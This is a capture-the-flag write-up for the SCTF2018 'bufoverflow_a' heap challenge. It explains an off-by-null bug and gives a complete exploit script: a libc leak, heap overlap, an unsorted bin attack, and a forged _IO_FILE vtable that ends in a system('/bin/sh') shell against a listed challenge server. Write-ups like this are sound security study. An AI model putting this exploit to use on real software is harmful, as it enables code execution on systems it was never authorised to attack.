Posts List
  1. Analyse
  2. EXP
    1. Leak
    2. Heap overlap
    3. Unsorted bin attack & bypass vtable

SCTF2018 bufoverflow_a WriteUp

Analyse

A note problem, which has standard interaction :

1
2
3
4
5
6
1. Alloc
2. Delete
3. Fill
4. Show
5. Exit
>>

Alloc :

1
2
3
4
5
6
7
8
9
10
11
12
if ( size <= 0x7F || size > 0x1000 )
return puts("Invalid size!");
if ( count > 1u )
{
mallopt(-6, 0xCC);
ptr = calloc(1uLL, size);
}
else
{
mallopt(-6, 0);
ptr = malloc(size);
}

Can’t fastbin. When chunk count > 1, it uses calloc to allocate. Calloc will set chunk memory to 0 when called.

Delete :

1
2
3
4
5
6
7
8
9
if ( idx <= 0xF && global_array[2 * idx + 1] )
{
free((void *)global_array[2 * idx + 1]);
chunk_ptr[1] = 0LL; // chunk_addr
global_array[2 * idx + 1] = 0LL; // chunk_addr
global_array[2 * idx] = 0LL; // size
v0 = &count;
--count;
}

No uaf or double free.

Fill :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
v1 = chunk_ptr;
result = chunk_ptr[1];
if ( result )
{
printf("Content: ");
result = input_data(v1[1], *v1);
}
return result;
-------------------------------------
input_data(__int64 dst, __int64 len):
for ( i = 0; i < len; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
perror("Read faild!\n");
exit(-1);
}
if ( buf == '\n' )
break;
*(_BYTE *)(dst + i) = buf;
}
*(_BYTE *)(i + dst) = 0; //vulnerability

In the fill function, we can get set dst[len+1] = 0 if we input data, the length of which is len ( off-by-null ).

Show :

1
2
3
4
5
6
buf = *src;
for ( i = 0; i < len && buf; buf = src[i] )
{
write(1, &buf, 1uLL);
++i;
}

Just write the content of note.

EXP

Leak

Since it uses calloc when count > 2, we can use unsorted bin to leak main_arena and finally get the address of libc.

1
2
3
4
5
alloc(0x100)	#0
alloc(0x100) #1
free(0)
alloc(0x100) #0
show()

Heap overlap

We get off-by-null in fill function, so we can create heap overlap. Fake the size of freed small bin.

1
2
3
4
5
6
alloc(0x108)    #2
alloc(0x300) #3
fill('\x00'*0x2f0+p64(0x300)+p64(0))
alloc(0x108) #4
alloc(0x108) #5
free(3)

First we create 4 chunks, and chunk 3 has the biggest size of 0x310 ( include head ). Then set the foot of chunk 3 to bypass the check and free it.

1
2
3
4
5
6
free(2)
alloc(0x108) #2
fill('\x00'*0x108) #trigger off-by-null
alloc(0x108) #3
alloc(0x88) #6
alloc(0x108) #7

We can only edit the latest chunk we allocated, so we need to free chunk 2 and allocate it. When we fill chunk 2, we trigger off-by-null and set the size of chunk 3 from 0x311 to 0x300. Then we allocate chunk 3, 6 and 7 with the fake size of 0x300.

1
2
3
free(3)
free(4)
free(7)

Then free chunk 3, 4 and 7. In normal, chunk 4 saves the prev_size of 0x310. When we free chunk 4, it uses the prev_size to find the previous chunk and gets chunk 3. In that case, If chunk 3 is freed, chunk 4 will merge chunk 3 and finally got a big unsorted chunk ( 0x110 + 0x310 = 0x420 ). Lastly, when we free chunk 7, we get a small unsorted bin in a big unsorted bin.

Unsorted bin attack & bypass vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
alloc(0x410)    #3

fake_chunk = p64(0) + p64(0x61)
fake_chunk += p64(0xddaa) + p64(io_list_all - 0x10)
fake_chunk += p64(0x1)+p64(0xffffffffffffffff)+p64(0)*2+p64( (binsh-0x64)/2 )
fake_chunk=fake_chunk.ljust(0xa0,'\x00')
fake_chunk+=p64(system+0x420)
fake_chunk=fake_chunk.ljust(0xc0,'\x00')
fake_chunk+=p64(0)

payload = fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(system)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(system)

fill('\x00'*0x190+payload+'\n')

alloc(512)

If we allocate a chunk, the length of which is 0x420, we can overwrite the small unsorted bin. Since the version of libc is 2.24 so we need to attack IO & bypass vtable just like https://bbs.pediy.com/thread-222735.htm.

The whole exp ( using https://github.com/matrix1001/welpwn ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from PwnContext import *

if __name__ == '__main__':
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
st = lambda delim,data :ctx.sendthen(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
sla = lambda delim,data :ctx.sendlinethen(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()

rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
def dbg(gdbscript='', *args, **kwargs):
gdbscript = sym_ctx.gdbscript + gdbscript
return ctx.debug(gdbscript, *args, **kwargs)

uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))

def alloc(asize):
ru('>> ')
sl('1')
ru('Size: ')
sl(str(asize))

def free(idx):
ru('>> ')
sl('2')
ru('Index: ')
sl(str(idx))

def show():
ru('>> ')
sl('4')

def fill(data):
ru('>> ')
sl('3')
ru('Content: ')
s(data)

debugg = 1
logg = 0

ctx.binary = './bufoverflow_a'
if debugg:
ctx.libc = '/lib/x86_64-linux-gnu/libc.so.6'
rs()
else:
ctx.libc = './libc.so.6'
rs(remote_addr = ('116.62.152.176',20001))
if logg:
context.log_level = 'debug'
alloc(0x100)
alloc(0x100)
free(0)
alloc(0x100)
show()
tmp = uu64(ru('\n'))

if debugg:
libc_base = tmp - 0x3c4b78
else:
libc_base = tmp - 0x399b58
#print hex(tmp - ctx.bases['libc'])
log.success("libc_base = %s"%hex(libc_base))
if debugg:
vtable_addr = libc_base + 0x3c37a0
else:
vtable_addr = libc_base + 0x396500
system = libc_base + ctx.libc.symbols['system']
binsh = libc_base + next(ctx.libc.search("/bin/sh"))
io_list_all = libc_base + ctx.libc.symbols['_IO_list_all']

alloc(0x108) #2
alloc(0x300) #3
fill('\x00'*0x2f0+p64(0x300)+p64(0))
alloc(0x108) #4
alloc(0x108) #5

free(3)
free(2)
alloc(0x108) #2
fill('\x00'*0x108)
alloc(0x108) #3
alloc(0x88) #6
alloc(0x108) #7
free(3)
free(4)
free(7)

alloc(0x410) #3

fake_chunk = p64(0) + p64(0x61)
fake_chunk += p64(0xddaa) + p64(io_list_all - 0x10)
fake_chunk += p64(0x1)+p64(0xffffffffffffffff)+p64(0)*2+p64( (binsh-0x64)/2 )
fake_chunk=fake_chunk.ljust(0xa0,'\x00')
fake_chunk+=p64(system+0x420)
fake_chunk=fake_chunk.ljust(0xc0,'\x00')
fake_chunk+=p64(0)

payload = fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(system)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(system)

fill('\x00'*0x190+payload+'\n')

alloc(512)

#dbg()
irt()